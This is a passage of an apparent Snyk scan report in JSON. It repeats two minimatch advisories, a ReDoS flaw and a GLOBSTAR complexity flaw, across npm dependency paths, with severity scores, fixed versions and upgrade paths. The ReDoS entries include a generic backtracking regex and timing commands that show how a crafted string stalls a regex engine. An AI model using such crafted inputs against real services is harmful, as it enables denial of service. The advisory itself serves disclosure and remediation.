"secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub 